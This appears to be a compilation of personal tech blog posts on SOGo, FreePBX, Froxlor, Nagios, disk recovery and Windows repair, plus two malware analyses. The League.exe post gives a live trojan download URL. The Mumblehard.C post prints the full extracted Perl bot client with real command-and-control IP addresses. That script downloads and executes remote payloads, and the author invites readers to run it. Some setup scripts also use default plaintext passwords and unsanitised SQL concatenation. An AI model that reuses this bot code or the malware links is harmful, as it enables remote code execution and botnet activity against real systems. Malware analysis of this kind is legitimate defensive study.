CIDLookup in FreePbx on SOGO
As SOGo is a very nice collaboration suite for the office, like I already showed in one of my earlier blog entries, why not also usa a free phone box like the Asterisk-based FreePBX project?
For good interaction with your SOGo-Installation, you can try to make your PBX lookup the incoming phone numbers in the SOGo address book. This article shows you how to do this.
First off, you need to install the CIDLookup FreePBX plugin into it.
Next, look up the MySQL-tables of SOGo that contain the address data of interest. As you may have multiple users, you may want to search in all address books or just specific address books, you need to configure this in a first step to have base data available. We do this my creating a MySQL view in the database that can easily be modified lateron according to your needs.
So logon to your sogo database and check the tables in there:
mysql -u sogo -p sogo
show tables;
You may notice the tables named in the style: sogo[username][uid]_quick
Some of these tables are for calendar data, but others are for address book data. Just select them to check if they are address book data tables, which exhibit a column called c_telephonenumber.
After you have collected all the tables with interesting address data in it, create the view `abooks` that join all of these into one, for example:
CREATE VIEW abooks AS SELECT * FROM sogouname0012c6fb387_quick UNION SELECT * FROM sogooffice0020231de93_quick;
Now we need to sanitize the phne numbers in there by removing unneccessary chracters from it and put them in the new view `phonenos`
CREATE VIEW phonenos AS SELECT REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(CONVERT(`c_telephonenumber` USING ascii),' ',''),'(',''),')',''),'-',''),'?','') phone, c_cn FROM abooks WHERE `c_telephonenumber`<>'';
Now that we sanitized it a bit, we finally need to make the numbers available in the correct format used by the PBX. In my example, the phone numer is always in international format without leading + character. This is then put in view `phoneno_f`. The reason why we don’t combine it with phonenos view in one query is that Views in MySQL don’t support subselects.
CREATE OR REPLACE VIEW phoneno_f AS SELECT CASE WHEN LEFT(phone,1)='+' THEN SUBSTR(phone,2) WHEN LEFT(phone,2)='00' THEN SUBSTR(phone,3) WHEN LEFT(phone,1)='0' THEN CONCAT( '43',SUBSTR(phone,2)) ELSE phone END phone, c_cn FROM phonenos;
Now we have a view containing all names and their respecive phone numbers in a unified format that can then be used to select in the CIDlookup module in FreePBX.
So now go to “Admin/Called ID lookup sources” in FreePBX GUI, Add a CIDLookup Source and set:
Source description: SOGo
Source type: MySQL
Host: localhost
Database: sogo
Query: SELECT c_cn FROM phoneno_f WHERE phone='[NUMBER]’
Username: sogo
Pass: sogopasswd
That’s it!
Advokat als CID-Quelle in FreePBX einbinden
Die FreePBX Telefonanlage ist eine
Konfigurationoberfläche zur einfachen Konfiguration einer Asterisk-basierenden
Telefonanlage.
Sie beinhaltet auch ein interessantes Modul zur Caller ID Bestimmung, über
welches man verschiedene Methoden zur Reversnummernabfrage verwenden kann.
In Österreich ist das Anwaltskanzleipaket Advokat recht populär. Es wäre also
nicht unpraktisch, gleich den Namen des Mandanten am Display durch die Telefon-
Anlage angezeigt zu bekommen ganz ohne TAPI am Schirm.
Dies ist gar nicht so schwer zu realisieren, sofern die .MDB Datenbank am
Server liegt, wovon wir einmal ausgehen.
Die mdbtools sind hierfür ein nützliches Paket und können über unixodbc
einfach abgefragt werden.
Leider sind die Paketversionen der mdbtools buggy, sodas wir eine
fehlerberenigte Version der Bibliothek manuell installieren müssen:
apt-get install unixodbc php5-odbc libglib2.0-dev txt2man cd /usr/src wget https://github.com/leecher1337/mdbtools/archive/master.zip unzip master.zip rm master.zip cd mdbtools-master autoreconf -fi ./configure --with-unixodbc=/usr/lib/odbc make make install
Nun die Datenquelle für die Advokat.mdb eintragen (Pfad anpassen):
vi /etc/odbc.ini
[Advokat] Description = Advokat Driver = MDBTools Servername = localhost Database = /home/data/advokat/Advokat/Daten/ADVOKAT.MDB UserName = Password = port = 5432
Jetzt noch den MDB-Treiber, den wir kompiliert haben mit ODBC registrieren:
vi /etc/odbcinst.ini
[MDBTools] Description = MDBTools Driver Driver = /usr/local/lib/libmdbodbc.so
Nun benötigen wir noch ein kleines PHP-Script, welches die Nummern
normalisiert, damit diese mit der eingehenden Nummer auf der Telefonanlage
verglichen werden können.
Die Normalisierung der Nummer muss man sich entsprechend der Anlagenparameter
anpassen, da diese wohl je nach Provider in unterschiedlicher Form kommt.
Das Script z.B. in den root der FreePBX-Installation kopieren oder an einen
Ort, wo es das CIDLookup Script finden kann:
tel.php:
<?php define('DSN_ADVOKAT', 'Advokat'); function GetName($odbc, $NNr) { if ($result = odbc_exec($odbc, 'select Titel, Vorname, Name1 from Namen Where NNr='.$NNr)) { if (odbc_fetch_row($result)) { $titel = odbc_result($result,1); $ret=($titel?$titel.' ':'').odbc_result($result,2).' '.odbc_result($result,3); } odbc_free_result($result); } return $ret; } $odbc = odbc_connect(DSN_ADVOKAT, '', ''); if ($result = odbc_exec($odbc, "select NNr, Vorwahl, Telefon from Telefon Where Art='Telefon' or Art='Handy'")) { while (odbc_fetch_row($result)) { $tel = trim(odbc_result($result,2).odbc_result($result,3)); if ($tel[0]=='+') $tel='00'.substr($tel, 1); $tel = preg_replace("/[^0-9,.]/", "", $tel); if ($tel[0] == '0') $tel='43'.substr($tel,$tel[1]=='0'?2:1); if ($tel==$_REQUEST['nr']) { echo GetName($odbc, odbc_result($result,1)); break; } } odbc_free_result($result); } odbc_close($odbc); ?>
Danach müssen wir nur noch eine neue Quelle im CIDLookup definieren.
Source type: HTTP
Host: localhost
Port: 80 oder wo immer der Webserver läuft
Path: /tel.php
Query: nr=[NUMBER]
Das sollte es gewesen sein.
league.exe trojan
I recently stumbled over an infected setup application from dubious sources in the internet on a victim’s machine that contained a little obfuscated trojan which was interestingly written in .NET language, so it was pretty easy to reverse engineer.
The trojan contantly downloads itself from http://ijwhite.com/white/League.exe so you can download your own sample from there.
The trojan itself is crypted with AES encryption with a static key, which is very easy to unpack with a debugger like dnSpy. The code’s function names are obfuscated, so it doesn’t make much sense to read, but you just need to set a breakpoint before the unpacked .NET executable gets invoked and dump the decrypted memory buffer (in variable array) to disk, which can in turn be analyzed.
object obj = ze6WLzdqTLKVYk8yNb.qbpi2wrp4C09();
ze6WLzdqTLKVYk8yNb.Ssp0paUgqt("Key", obj, tqcF9712cQGgO);
ze6WLzdqTLKVYk8yNb.Ssp0paUgqt("IV", obj, tqcF9712cQGgO2);
object rXmEJKEg1Mp2m = ze6WLzdqTLKVYk8yNb.XYHLcqkA7W(obj);
array = ze6WLzdqTLKVYk8yNb.yGbemlFTZJdQjrX(rXmEJKEg1Mp2m, array);
object 6XaGtsti8u = ze6WLzdqTLKVYk8yNb.dXvj2MauvNk7t();
Now you get an executable file named stub which in turn can be analyzed with dnSpy.
The executable is “obfuscated” with ConfuserEx v1.0.0.0.
This results in code that is difficult an annoying to read, like:
private static void Main(string[] args)
{
stub.res = stub.\u202D\u200D\u206B\u202C\u202B\u206D\u206E\u202A\u206C\u200E\u200F\u206D\u202B\u206E\u202B\u206A\u206F\u206C\u200B\u202E\u202E\u200D\u206E\u200D\u202E\u202B\u202A\u206D\u206E\u202B\u200C\u200E\u202B\u206F\u202E\u206E\u200D\u206D\u206A\u202E\u202E(<Module>.\u206D\u200B\u206B\u206C\u200D\u200E\u202E\u202E\u202B\u202A\u200D\u202C\u202A\u206A\u206B\u206B\u206A\u202C\u200C\u200F\u206F\u206E\u200E\u206C\u206C\u206B\u206F\u206B\u200F\u206E\u200D\u202E\u206B\u206D\u202C\u202C\u200C\u202D\u200D\u206A\u202E<string>(1666502779u), stub.\u202E\u202D\u200D\u200D\u206D\u206E\u206F\u206A\u202D\u206A\u200F\u202B\u202A\u206B\u200F\u206A\u202C\u206B\u206B\u200C\u206C\u206A\u202E\u200D\u202A\u206B\u200B\u206C\u206C\u206A\u200D\u200B\u206E\u200B\u200E\u202D\u200C\u200C\u206D\u202E\u202E());
for (;;)
{
IL_19:
uint num = 3253124917u;
for (;;)
{
uint num2;
switch ((num2 = (num ^ 2504117526u)) % 3u)
{
case 0u:
goto IL_19;
case 1u:
stub.\u202B\u200E\u206E\u206B\u206C\u202C\u206C\u206C\u200D\u202B\u202B\u200C\u206F\u206F\u206A\u200F\u206D\u200F\u200B\u200C\u206B\u202A\u200F\u206C\u206D\u200E\u206E\u206D\u206D\u200E\u202C\u202E\u206F\u206C\u206A\u200E\u206B\u206F\u206F\u202A\u202E(stub.\u200C\u206C\u206D\u206A\u202C\u200E\u206B\u200E\u202C\u202A\u200F\u202D\u206C\u200E\u200C\u200B\u206B\u202C\u202C\u200B\u200D\u206A\u200D\u200E\u202D\u200D\u202E\u202A\u206D\u206D\u200C\u202B\u200C\u206F\u200D\u206A\u202B\u200E\u206E\u202A\u202E(), new ResolveEventHandler(stub.CurrentDomain_AssemblyResolve));
num = (num2 * 307612828u ^ 2864558313u);
continue;
}
goto Block_1;
}
}
Block_1:
stub.Run(args);
}
Fortunately, there are tools out there for deobfuscating this Confuser stuff. Tools for doing so are linked here.
Afterwards, you get a pretty readable copy of the trojan.
Judging from that, the trojan has multiple settings for injection,propagation, download, etc. Everything seems to be configurable via the resources-Section of the executable.
By looking at this specific trojan, it seems to be pretty dump and just downloads itself all over again and again and again. I suspect that the author may swap out the executable, possiby targeting different victim machines, by providing a copy of the trojan with a different configuration on a case-by-case basis, but this is just speculative.
Here is the resource section of the above mentioned trojan:
// 0x0001BE74: STUB.resources (4868276 Bytes, Embedded, Public) // 0x0001C75E: AdminRights = False // 0x0001C760: AntiDump = False // 0x0001C762: AntiSandboxie = False // 0x0001C764: AttributeHidden = False // 0x0001C766: AttributeSystem = False // 0x0001C768: BinderItems = Object[][]-Array // 0x00433FF9: CMDArgsFixed = "" // 0x00433FFB: CMDArgsType = 0 // 0x00434000: CompressionGZIP = False // 0x00434002: CompressionLZMA = False // 0x00434004: CreationDateEnabled = False // 0x00434006: CreationDateValue = 10.08.2016 17:36:12 // 0x0043400F: DisableCMD = False // 0x00434011: DisableSafeMode = False // 0x00434013: DisableSystemRestore = False // 0x00434015: DisableTaskManager = False // 0x00434017: DownloaderItems = Object[][]-Array: ["http://ijwhite.com/white/League.exe", "CommonApplicationData"] // 0x00434039: InjectionType = 0 // 0x0043404E: MainFile = 567808 Bytes // 0x004BEA53: MessageButton = 0 // 0x004BEA58: MessageEnabled = False // 0x004BEA5A: MessageIcon = 0 // 0x004BEA5F: MessageOnlyOnce = False // 0x004BEA61: MessageText = "Text" // 0x004BEA67: MessageTitle = "Title" // 0x0043403E: MUTEX = "TPfQHumqPQ5RUn" // 0x004BEA6E: PersistenceStartup = False // 0x004BEA70: PersistenceSystemWide = False // 0x004BEA72: PersistenceWatchingProcess = False // 0x004BEA74: ProcessKiller = String[]-Array // 0x004BEA90: ProtectionAntiMemory = False // 0x004BEA92: ProtectionBSOD = False // 0x004BEA94: ProtectionDisableUAC = False // 0x004BEA96: ProtectionElevatedProcess = False // 0x004BEA98: RunPEDll = 5658 Bytes // 0x004C00B7: StartupAdvanced = False // 0x004C00B9: StartupEnabled = False // 0x004C00BB: StartupFileName = "filename.exe" // 0x004C00C9: StartupFolderName = "" // 0x004C00CB: StartupForceRestart = False // 0x004C00CD: StartupLocation = "Desktop" // 0x004C00D6: StartupMelt = False // 0x004C00D8: StartupName = "Update" // 0x004C00E0: StartupTask = "...code for task XML file, removed for readbility..." // 0x004C0724: ZoneIDDelete = True // 0x004C0726: ZoneIDEnabled = False
If someone knows more about this trojan, please let me know.
Finding CHS-Values for HDD of an old 486-DX2/50 Highscreen notebook
Last week, I received a call for help from someone who inherited an old Highscreen 486-DX2/50 notebook from her father that contained some important documents that she wanted to recover.
Now as the Notebook hadn’t been in operation for approx. 10 years, CMOS battery was empty and the Notebook refused to boot DOS, as the CHS-Values for the Harddisk in BIOS got lost.
Now as there was no manual available anymore, I just unscrewed the 2 screws in the back of the Notebook, lifted the Keyboard and had a look at the harddisk.
So I discovered that it contained a Connor Peripherals CP30174E harddisk with approx. 160MB in size.
Now I thought that this is going to be easy, found a manual on the Internet that showed me the correct CHS values:
903 | Cylinders |
8 | Heads |
46 | Sectors |
0 | Precomp |
903 | Landing zone |
So I entered the information in BIOS, attempted to boot and…. Nothing, the Boot loader code in the MBR still showed me that the OS cannot be found.
Therefore I booted up with a floppy disk and was able to access the internal drive. But of course, I wanted to find out the right settings in the BIOS to let the Notebook boot again.
So I started up Norton Disk Editor:
Object -> Drive -> [x] Physical -> Hard drive 0
ALT+A (Object -> Partition table), F6 (View / As partition table)
There I was able to see the following table:
Starting Location | Ending Location | Relative | Number of | ||||||
---|---|---|---|---|---|---|---|---|---|
System | Boot | Side | Cylinder | Sector | Side | Cylinder | Sector | Sectors | Sectors |
BIGDOS | Yes | 1 | 0 | 1 | 5 | 1004 | 55 | 55 | 331595 |
Conclusion #1: Cylinder count must be >= 1004
Conclusion #2: Sectors may be 55
Conclusion #3: It has at least 5 Heads
Next, checking the Boot sector:
Object -> Drive -> [x] Logical -> C:
ALT + B (Object -> Boot Record)
There is showed:
Sides: 6
Sectors per track: 55
So we know that we have 6 Heads and 55 Sectors and >= 1004 Cylinders
Now judging from the CHS values of the Harddisk vendor, we know that the drive has a capacity of 162.257 MB
Therefore we can approximate the value of the Cylinders to closely match that value and find out that it has to be approx. 1007 Cylinders.
Therefore, I ended up with these values:
1007 | Cylinders |
6 | Heads |
55 | Sectors |
0 | Precomp |
1007 | Landing zone |
Entered them in the BIOS and it booted up fine.
Puls 4 Mediathek mit Firefox auf Windows XP nutzen
Die letzten Monate über hatte ich mich sehr geärgert, dass ich die Videos vom Privatsender Puls4 auf meinem Windows XP mit Mozilla Firefox nicht mehr abspielen konnte.
Nun habe ich herausgefunden, dass es an einer H.264 Codec Inkompatibilität von Mozilla Firefox liegt. Glücklicherweise hat der xp bouncer eine Lösung dafür gefunden:
http://wp.xin.at/archives/4059
Herzlichen Dank auf diesem Wege, funktioniert einwandfrei!
Installing nrpe (Nagios remote mon) on entware-ng
Recently I got a synology DS216+II NAS where I had to install rsnapshot for daily backups.
This works quite nicely using entware-ng, but of course, backup status should also be monitored, i.e. by remove check done by nagios.
Unfortunately there is no nrpe-Package available, so you have to compile it on your own.
When fetching Headers with wget include.tar.gz, ensure to specify the correct architecture for your NAS in download URL.
opkg install libwrap gcc make nagios-plugins cd /tmp wget -qO- http://pkg.entware.net/binaries/x86-64/include/include.tar.gz | tar xvz -C /opt/include wget https://github.com/NagiosEnterprises/nrpe/archive/nrpe-2-15.tar.gz tar -xzvf nrpe-2-15.tar.gz cd nrpe-nrpe-2-15 ./configure --enable-command-args --prefix=/opt --with-ssl-inc=/opt/include/openssl/ --with-ssl=/bin/ make echo "nagios:x:5666:5666::/opt:/sbin/nologin">>/etc/passwd echo "nagios:x:5666:">>/etc/group make install-daemon make install-daemon-config vi /opt/etc/init.d/S00nrpe
#!/bin/sh start() { /opt/bin/nrpe -c /opt/etc/nrpe.cfg -d } stop() { killall nrpe } case "$1" in start) start ;; stop) stop ;; restart) stop start ;; *) echo "Usage: $0 {start|stop}" ;; esac
chmod +x /opt/etc/init.d/S00nrpe vi /opt/etc/nrpe.cfg
Have fun.
Integrating SOGo with Froxlor
I recently wanted to equip a Server that was managed with the Froxlor (formally known as SysCP) Management system with SOGo Groupware features.
Linking the e-mail accounts with SOGo isn’t very hard provided that you let Froxlor save the e-mail passwords in plain text.
In case you don’t want to do this and enhance security (which I would strongly encourage you to do), please also make the modifications to Froxlor shown in this blog additionally to the instructions provided here.
The installation on Debian is already known from my former SOGo installation tutorial.
1) Install SOGo 2
echo deb http://packages.inverse.ca/SOGo/nightly/2/debian/ jessie jessie >>/etc/apt/sources.list apt-key adv --keyserver keys.gnupg.net --recv-key 0x810273C4 apt-get update apt-get install sogo mysql-server sope4.9-gdl1-mysql memcached
2) Fix some packages
sed -i "s/SHOWWARNING=true/SWOWWARNING=false/" /etc/tmpreaper.conf # suppress tmpreaper warnings sed -i "s/127.0.0.1/localhost/" /etc/memcached.conf # Fix IPv6 errors /etc/init.d/mysql restart /etc/init.d/memcached restart
3) Install MySQL and create user table
Now this step differs slightly from my previous tutorial, as you have to link the sogo-Database with Froxlor:
mysql -u root -p mysql CREATE DATABASE `sogo` CHARACTER SET='utf8'; CREATE USER 'sogo'@'localhost' IDENTIFIED BY 'sogopasswd'; GRANT ALL PRIVILEGES ON `sogo`.* TO 'sogo'@'localhost' WITH GRANT OPTION; GRANT ALL PRIVILEGES ON `froxlor`.* TO 'sogo'@'localhost' WITH GRANT OPTION; FLUSH PRIVILEGES; quit
4) Create a sogo.conf configuration file
Now in this tutorial for some variation, I assume that you were using Courier IMAPd and migrated from it, even though Dovecot is current standard for Forxlor.
It is very important that you don’t forget to place the
/***DOMAINS***/
marker in the file, as the config file will be used as a template for the automatic configuration by Froxlor:
/etc/sogo/sogo.conf |
---|
{ /* Database configuration (mysql:// or postgresql://) */ SOGoProfileURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_user_profile"; OCSFolderInfoURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_folder_info"; OCSSessionsFolderURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_sessions_folder"; /* Mail */ /* The INBOX/-Prefixed lines are just an example to use if you are converting from Courier IMPD, otherwise don't use them */ SOGoDraftsFolderName = INBOX/Drafts; SOGoSentFolderName = INBOX/Sent; SOGoTrashFolderName = INBOX/Trash; SOGoIMAPServer = localhost; SOGoSMTPServer = 127.0.0.1; SOGoMailDomain = my.maildomain.com; SOGoMailingMechanism = smtp; /***DOMAINS***/ SOGoVacationEnabled = YES; SOGoSieveScriptsEnabled = YES; SOGoMailAuxiliaryUserAccountsEnabled = YES; /* General - SOGoTimeZone *MUST* be defined */ SOGoLanguage = German; SOGoTimeZone = Europe/Vienna; SOGoSuperUsernames = (user@my.maildomain.com); /* Activesync */ SOGoMaximumPingInterval = 300; WOWorkersCount = 15; SOGoMaximumSyncWindowSize = 100; SOGoMaximumSyncResponseSize = 5172; } |
Fill SOGoMaiDomain with the DNS of your local mailserver and define the superuser-account, which you should create in froxlor as mail-address to a certain domain (pick one of your Froxlor-Mailaccounts).
Now that you have set up a proper SOGo configuration, copy the file as the new template file to use for Froxlor:
cp /etc/sogo/sogo.conf /etc/sogo/sogo.conf.tpl
From now on, only edit sogo.conf.tpl if you want to change sogo config, as sogo.conf will get overwritten after Froxlor change
4b) Only needed when migrating from Courier to Dovecot
If you had Courier IMAPd installed on your site, like I unfortunately had, it is recommednded to migrate to Dovecot in order to be able to use the Exchange Activesync components.
In order to do this, more or less follow the Dovecot-Installation instructions in Froxlor control panel under configuration (for both SMTP and IMAP). Then don’t forget to convert your mailboxes with the courier-dovecot-migrate.pl scriptin the subdirectories of /var/customers/mails . As you are coming from Courier, don’t forget to set the nasty INBOX. prefix that Courier IMAPd users were used to in order to do a smooth transition:
/etc/dovecot/conf.d/10-mail.conf |
---|
mail_access_groups = vmail mail_privileged_group = vmail mail_uid = 2000 mail_gid = 2000 # Required only for courier migration namespace inbox { prefix = INBOX. separator = . inbox = yes } |
5) Integrate sync mechanism between Froxlor and SOGo
Now we need to setup beforementioned sync mechanism. Create the following PHP-file:
/var/www/froxlor/scripts/jobs/cron_tasks.inc.sogo.php |
---|
<?php /********************************* * Sync Forxlor Domains to SoGo * *********************************/ function sync_to_sogo() { // Config $sogousr='sogo'; $sogopasswd='sogopasswd'; $bRet = false; if (!($conn=mysql_connect('localhost', $sogousr, $sogopasswd))) { echo 'Error connecting to SOGO database: '.mysql_error(); return false; } if (!mysql_select_db('sogo', $conn)) { echo 'Cannot select DB sogo: '.mysql_error(); mysql_close($conn); return false; } $restart_cmd='/etc/init.d/sogo restart'; $tplfil='/etc/sogo/sogo.conf.tpl'; $tmpfil='/tmp/sogo.conf'; $cnffil='/etc/sogo/sogo.conf'; if ($fpsog=fopen($tplfil, 'r')) { if ($fp=fopen($tmpfil, 'w')) { while ($line=fgets($fpsog)) { if (trim($line)=='/***DOMAINS***/') break; fwrite($fp, $line); } if ($line) { $q=mysql_query('SELECT froxlor.panel_domains.domain FROM froxlor.panel_domains WHERE isemaildomain=1', $conn); fprintf($fp, "domains = {\n"); while ($r=mysql_fetch_row($q)) { $domainkey = preg_replace("/[^A-Za-z0-9]/", '_', $r[0]); if (mysql_query("CREATE OR REPLACE VIEW auth_$domainkey AS SELECT froxlor.mail_users.email AS c_uid, froxlor.mail_users.email AS c_name, froxlor.mail_users.password AS c_password, froxlor.mail_users.email AS c_cn, froxlor.mail_users.email AS mail FROM froxlor.panel_domains, froxlor.mail_users WHERE froxlor.mail_users.domainid=froxlor.panel_domains.id AND froxlor.panel_domains.domain = '".$r[0]."'", $conn)) { fprintf($fp, " %s = { SOGoMailDomain = %s; SOGoUserSources = ( { type = sql; id = %s; viewURL = \"mysql://%s:%s@localhost:3306/sogo/auth_%s\"; canAuthenticate = YES; isAddressBook = NO; userPasswordAlgorithm = plain; } ); }; ", $r[0], $r[0], $domainkey, $sogousr, $sogopasswd, $domainkey); } else echo 'Error creating view for domain '.$r[0]; } fwrite ($fp, "};"); while ($line=fgets($fpsog)) fwrite($fp, $line); $bRet = true; } else echo "Marker /***DOMAINS***/ not found in $tplfil template."; fclose($fp); } else echo "Cannot create temp. tmpfil file"; fclose($fpsog); } else echo "Cannot open $tplfil for reading"; mysql_close($conn); if ($bRet) { if ($bRet=rename($tmpfil, $cnffil)) { shell_exec($restart_cmd); } else echo "Cannot overwrite $cnffil"; } return $bRet; } ?> |
Now edit
/var/www/froxlor/scripts/jobs/cron_tasks.php
and add the folowing line to the require_once lines:
require_once makeCorrectFile(dirname(__FILE__) . '/cron_tasks.inc.sogo.php');
Within block
/** * TYPE=1 MEANS TO REBUILD APACHE VHOSTS.CONF */ if ($row['type'] == '1') { ... }
Add the following line before the closing Bracket } of the if:
sync_to_sogo();
6) Enjoy
Now everytime you create a domain or make other changes, a view shoud be created in the sogo-database that points to all usernames of the e-mail accounts from a certain domain and sogo.conf is being rewritten with multidomain support for all e-mail domains so that it is in sync with SOGo.
I hope my little script helps you a bit with integrating SOGo with Froxlor.
c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.
Yesterday I had a case where a Windows 7 machine halted with
c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.
0x00000000 (0xC0000001, 0x00010400)
This means that the login processes died for some reason. After trying last good configuration, repair mode etc. and nothing seemed to help, I started up with the Windows 7 BootCD and checked the registry by running regedit from the command prompt and loading the SYSTEM, SOFTWARE etc. hives from Windows\system32\config directory into regedit.
I noticed that the SOFTWARE hive was nearly empty except for some Microsoft keys.
Another blogger had exactly the same problem:
So I first tried to run Microsoft chkreg utility over a copy of the SOFTWARE hive, but it was unable to find corruption and fix it. An expanded chkreg.exe utility that can be used on the Windows command shell directly can be found here.
As this didn’t succeed, I tried to copy back the SOFTWARE file from Windows\system32\config\RegBack.
I wasn’t expecting it to work, as I thought that the Last known good configuration feature from the start menu would do the same, but it seems that this isn’t the case, so copying it back helped and the computer was ablt to boot up again.
Next step was to find out what has happened. I compared the broken and the good SOFTWARE file with each other and I noticed that they were nearly identical except for one page where its contents were empty in the broken registry file and were filled in the working backup file. I checked the Harddisks’ SMART values and found out that the HDD had 25 Reallocated Sectors. I suspect that there was a Relocation process going on on last shutdown that resulted in a blank sector to be written right in the middle of the Reigstry file which caused the corruption. Time to immediately change the HDD before it completely breaks down.
Mumblehard.C trojan unpacked
Recently a server got infected with the Mumblehard.C trojan due to an unmaintained WordPress installation.
The trojan seems to have been installed to /var/tmp directory on the server and run via cron every 10 minutes to check for new comamdns of its Command&Control servers. The trojan is mainly used for spamming activity.
The executable itself is a simple C program, that unpacks an XORed perl-script that then gets executed in memory (overwriting its process name with “qmail”).
It seems that the Command&Control servers of the trojan are still active and haven’t changed in a few months, as there is an analysis of the malware sample available from December 2016 which still contacted the same IP-adresses:
https://detux.org/report.php?sha256=a4199f2a1539f0e9b5d18b81873ad65f332046b2a1c4f7e44b039fd93e369c87
It is interesting that these hosts haven’t been shutdown since then by the ISPs.
If you are interested, here is the momblehard.C PERL script as extracted from the malicious executable. You can modify the system() command and play botnet client yourself to monitor it 😉
use strict; use POSIX; use IO::Socket; use IO::Select; $0="qmail"; $|=1; my $ewblock = 11; my $eiprogr = 150; if ($^O eq "linux") { $ewblock = 11; $eiprogr = 115; } if ($^O eq "freebsd") { $ewblock = 35; $eiprogr = 36; } &main(); sub main { exit 0 unless defined(my $pid = fork); exit 0 if $pid; POSIX::setsid(); $SIG {$_} = "IGNORE" for (qw(HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD)); umask 0; chdir "/"; open(STDIN, "</dev/null"); open(STDOUT, ">/dev/null"); open(STDERR, ">&STDOUT"); my $url = ["31.220.18.115", "5.101.142.81", "5.2.86.225", "5.135.42.98", "50.7.133.245", "5.9.157.230"]; my $tst = ["a".."z", "A".."Z"]; $tst = join("", @$tst[map { rand@ $tst }(1..(6 + int rand 5))]); my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$tst")) { close F; unlink "/tmp/$tst "; $dir ="/tmp"; } my($header, $content); my($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10); foreach my $rs(@$url) { $header = "$dir/".time; $content = $header."1"; unlink $header if -f $header; unlink $content if -f $content; &http($rs, $timeout, $header, $content, 0); if (open(F, "<", $header)) { flock F, 1; my($test, $task) = (0, ""); while (<F>) { s/^\s*([^\s]?.*)$/$1/; s/^(.*[^\s])\s*$/$1/; next unless length $_; $test++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/; } close F; ($link, $file, $id, $command, $timeout) = &decd($task) if $test == 2 && length $task; } unlink $header if -f $header; unlink $content if -f $content; } exit 0 if !defined $command || $command!~/^16$/; $header = "$dir/".time; $content = "$dir/$file"; unlink $header if -f $header; unlink $content if -f $content; &http($link, $timeout, $header, $content, 1); my($resp, $size) = ("000", 0); if (open(F, "<", $header)) { flock F, 1; while (<F>) { s/^\s*([^\s]?.*)$/$1/; s/^(.*[^\s])\s*$/$1/; next unless length $_; $resp = $1 if /^HTTP\S+\s+(\d\d\d)/; } close F; } $size = (stat $content)[7] if -f $content; $size = 0 if !defined $size || $size!~/^\d+$/; if ($size > 0) { chmod 0755, $content; system "$content >/dev/null 2>&1"; } unlink $header if -f $header; unlink $content if -f $content; foreach my $rs(@$url) { $header = "/dev/null"; $content = $header; &http($rs, 10, $header, $content, 0, "$id.$resp.$size"); } exit 0; } sub xorl { my($line, $code, $xor, $lim) = (shift, "", 1, 16); foreach my $chr(split(//, $line)) { if ($xor == $lim) { $lim = 0 if $lim == 256; $lim += 16; $xor = 1; } $code. = pack("C", unpack("C", $chr) ^ $xor); $xor++; } return $code; } sub decd { my $data = pack("H*", shift);@ _ = unpack("C5", substr($data, 0, 5, "")); return (&xorl(substr($data, 0, shift, "")), &xorl(substr($data, 0, shift, "")), @_); } sub http { my($url, $timeout, $header, $content, $mode, $gecko) = @_; $gecko = "20100101" if !defined $gecko || !length $gecko; my($host, $port, $path) = $url = ~/^([^\/:]+):*(\d*)?(\/?[^\#]*)/; return unless $host; my $addr; if ($host = ~/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ && $1 < 256 && $2 < 256 && $3 < 256 && $4 < 256) { $addr = pack("C4", $1, $2, $3, $4); } else { $addr = gethostbyname $host; } return unless $addr; $port || = 80; $path || = "/"; $addr = sockaddr_in($port, $addr); my $readers = IO::Select->new() or return; my $writers = IO::Select->new() or return; my $buffer = join("\x0D\x0A", "GET $path HTTP/1.1", "Host: $host", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/$gecko Firefox/7.0.1", "Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9", "Accept-Language: en-us,en;q=0.5", "Accept-Encoding: gzip, deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Connection: close", "\x0D\x0A"); if ($mode) { $buffer = join("\x0D\x0A", "GET $path HTTP/1.0", "Host: $host", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Accept: text/html,*/*", "Connection: close", "\x0D\x0A"); } my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM); return unless $socket; $socket->blocking(0); unless($socket->connect($addr)) { if ($! != $eiprogr && $! != $ewblock) { close $socket; return; } } $writers->add($socket); $timeout+=time; my $step = 0; while (1) { IO::Select->select(undef, undef, undef, 0.02); my $writable = (IO::Select->select(undef, $writers, undef, 0))[1]; foreach my $handle(@$writable) { if ($step == 0) { $step = 1 if $handle->connected; } if ($step == 1) { my $result = syswrite($handle, $buffer); if (defined $result && $result > 0) { substr($buffer, 0, $result) = ""; if (!length $buffer) { $readers->add($handle); $writers->remove($handle); $step = 2; } } elsif($! == $ewblock) { next; } else { $timeout = 0; } } } my $readable = (IO::Select->select($readers, undef, undef, 0))[0]; foreach my $handle(@$readable) { next if $step < 2; my $result; if ($step == 2) { $result = sysread($handle, $buffer, 8192, length $buffer); } else { $result = sysread($handle, $buffer, 8192); } if (16384 < length $buffer) { $timeout = 0; } elsif(defined $result) { if ($result > 0) { if ($step == 2) { my $offset = index($buffer, "\x0D\x0A\x0D\x0A"); next if $offset < 0; if (open(F, ">>", $header)) { flock F, 2; binmode F; print F substr($buffer, 0, $offset); close F; } substr($buffer, 0, $offset + 4) = ""; $step = 3; } if ($step == 3) { if (length $buffer) { if (open(F, ">>", $content)) { flock F, 2; binmode F; print F $buffer; close F; } $buffer = ""; } } next; } $timeout = 0; } elsif($! == $ewblock) { next; } else { $timeout = 0; } } if ($timeout < time) { foreach my $handle($writers->handles, $readers->handles) { $writers-> remove($handle) if $writers->exists($handle); $readers-> remove($handle) if $readers->exists($handle); close $handle; } return; } } }
Installation of a SOGo Debian Server for Groupware use
Motivation
